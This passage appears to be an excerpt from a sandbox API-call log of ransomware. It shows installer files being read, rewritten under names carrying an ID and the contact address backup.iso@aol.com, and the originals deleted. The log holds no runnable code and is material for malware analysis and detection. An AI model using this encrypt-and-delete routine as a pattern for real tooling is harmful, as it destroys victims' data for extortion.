lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xfb0, lpOverlapped=0x0) returned 1 [0106.480] WriteFile (in: hFile=0x31c, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0106.481] CloseHandle (hObject=0x2c8) returned 1 [0106.481] CloseHandle (hObject=0x31c) returned 1 [0106.483] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 1 [0106.485] SetEvent (hEvent=0x2cc) returned 1 [0106.485] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0106.486] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=18776) returned 1 [0106.486] CloseHandle (hObject=0x31c) returned 1 [0106.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80 [0106.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80 [0106.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0106.486] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0106.486] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0106.487] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0106.487] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c8 [0106.487] ReadFile (in: hFile=0x31c, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x4958, lpOverlapped=0x0) returned 1 [0106.702] WriteFile (in: hFile=0x2c8, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x4960, lpOverlapped=0x0) returned 1 [0106.704] WriteFile (in: hFile=0x2c8, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0106.704] CloseHandle (hObject=0x31c) returned 1 [0106.705] CloseHandle (hObject=0x2c8) returned 1 [0106.707] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 1 [0106.709] SetEvent (hEvent=0x2cc) returned 1 [0106.709] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0109.352] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=60816) returned 1 [0109.353] CloseHandle (hObject=0x31c) returned 1 [0109.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80 [0109.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80 [0109.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0109.355] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0109.355] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0109.356] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0109.356] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0109.356] ReadFile (in: hFile=0x31c, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0xed90, lpOverlapped=0x0) returned 1 [0109.370] WriteFile (in: hFile=0x324, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xeda0, lpOverlapped=0x0) returned 1 [0109.372] WriteFile (in: hFile=0x324, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0109.372] CloseHandle (hObject=0x31c) returned 1 [0109.374] CloseHandle (hObject=0x324) returned 1 [0109.379] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 1 [0109.381] SetEvent (hEvent=0x2cc) returned 1 [0109.381] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0109.381] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=3069) returned 1 [0109.381] CloseHandle (hObject=0x324) returned 1 [0109.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80 [0109.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80 [0109.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0109.381] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0109.382] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0109.382] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0109.382] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0109.385] ReadFile (in: hFile=0x324, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0xbfd, lpOverlapped=0x0) returned 1 [0109.890] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xc00, lpOverlapped=0x0) returned 1 [0109.892] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0109.892] CloseHandle (hObject=0x324) returned 1 [0109.892] CloseHandle (hObject=0x330) returned 1 [0109.896] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 1 [0109.898] SetEvent (hEvent=0x2cc) returned 1 [0109.899] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0109.899] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=18776) returned 1 [0109.900] CloseHandle (hObject=0x330) returned 1 [0109.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80 [0109.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80 [0109.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0109.900] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0109.900] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0109.900] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0109.901] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0109.902] ReadFile (in: hFile=0x330, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x4958, lpOverlapped=0x0) returned 1 [0109.957] WriteFile (in: hFile=0x324, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x4960, lpOverlapped=0x0) returned 1 [0109.959] WriteFile (in: hFile=0x324, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0109.960] CloseHandle (hObject=0x330) returned 1 [0109.960] CloseHandle (hObject=0x324) returned 1 [0109.965] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 1 [0109.969] SetEvent (hEvent=0x2cc) returned 1 [0109.969] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0109.984] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=39042) returned 1 [0109.984] CloseHandle (hObject=0x324) returned 1 [0109.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80 [0109.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80 [0109.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0109.985] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0109.985] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0109.985] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0109.985] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0110.594] ReadFile (in: hFile=0x324, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x9882, lpOverlapped=0x0) returned 1 [0110.838] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x9890, lpOverlapped=0x0) returned 1 [0111.253] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0111.253] CloseHandle (hObject=0x324) returned 1 [0111.253] CloseHandle (hObject=0x330) returned 1 [0111.484] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 1 [0111.495] SetEvent (hEvent=0x2cc) returned 1 [0111.495] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0111.532] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=88533) returned 1 [0111.532] CloseHandle (hObject=0x304) returned 1 [0111.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80 [0111.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80 [0111.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0111.539] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0111.539] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0111.540] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0111.540] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0111.544] ReadFile (in: hFile=0x31c, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x159d5, lpOverlapped=0x0) returned 1 [0111.590] WriteFile (in: hFile=0x324, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x159e0, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x159e0, lpOverlapped=0x0) returned 1 [0111.595] WriteFile (in: hFile=0x324, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0111.595] CloseHandle (hObject=0x31c) returned 1 [0111.595] CloseHandle (hObject=0x324) returned 1 [0111.601] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 1 [0111.604] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0111.625] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=1150) returned 1 [0111.625] CloseHandle (hObject=0x31c) returned 1 [0111.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80 [0111.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80 [0111.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0111.626] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0111.626] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0111.626] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0111.626] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x304 [0111.627] ReadFile (in: hFile=0x31c, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x47e, lpOverlapped=0x0) returned 1 [0111.825] WriteFile (in: hFile=0x304, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x480, lpOverlapped=0x0) returned 1 [0111.827] WriteFile (in: hFile=0x304, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0111.827] CloseHandle (hObject=0x31c) returned 1 [0111.827] CloseHandle (hObject=0x304) returned 1 [0111.828] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 1 [0111.830] SetEvent (hEvent=0x2cc) returned 1 [0111.830] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0111.830] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=894) returned 1 [0111.831] CloseHandle (hObject=0x304) returned 1 [0111.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80 [0111.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80 [0111.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0111.831] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0111.831] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0111.831] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0111.831] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x31c [0111.832] ReadFile (in: hFile=0x304, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x37e, lpOverlapped=0x0) returned 1 [0111.906] WriteFile (in: hFile=0x31c, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x380, lpOverlapped=0x0) returned 1 [0111.916] WriteFile (in: hFile=0x31c, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0111.917] CloseHandle (hObject=0x304) returned 1 [0111.917] CloseHandle (hObject=0x31c) returned 1 [0111.918] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 1 [0111.920] CreateFileW 